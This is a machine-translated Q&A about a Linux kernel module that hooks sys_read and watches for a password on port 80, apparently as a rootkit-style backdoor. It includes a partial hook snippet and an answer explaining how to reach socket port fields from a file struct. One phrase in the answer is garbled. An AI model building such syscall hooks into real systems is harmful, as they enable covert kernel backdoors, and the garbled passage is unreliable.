如何在 Linux 中通过 inode 结构查找套接字端口?

How to find socket port by inode struct in Linux?

我正在编写一个 LKM 程序来挂钩 sys_read 函数以重用 80 TCP 端口。 但是我遇到一个问题是我不知道如何通过 inode 结构访问端口。 有一部分是我的程序。

Linux.2.6.3.38

asmlinkage ssize_t new_read(unsigned int fd, void *buf, size_t count){
 //printk("PID %d called sys_read !\n",current->pid);
 char kbuf[MAX_BUF];
 ssize_t ret;
 struct file *file;
 ret=orig_read(fd, buf, count);
 memset(kbuf, 0,MAX_BUF);
 memcpy(kbuf, buf, ret);
 printk("kbuf:%s\n",kbuf);
 if( memcmp(kbuf, passwd, strlen(passwd)) == 0 )
 {
  file = fget(fd);
  if(file->f_dentry->d_inode->???? == PORT)  
   printk("get http message\n");
  fput(file);
 }
}

感谢您的回答。

您可以使用导出函数sock_from_file从结构体file中获取socket结构体指针。

然后被转换为 tcp_sock,其中包含一个 inet_connection_sock,其中包含一个 inet_sock,其中包含一个 sock(不要与 [=10 混淆) =]) 其中包含 sock_common。这两个端口号最终存储在 inet_socksock_common 中(嗯,这就是它在最近的内核版本中的工作方式)。

以可靠的方式利用这些事实是很困难的。所有这些的布局和组织都与内核版本密切相关,当然文件描述符实际上代表一个连接的 TCP 套接字。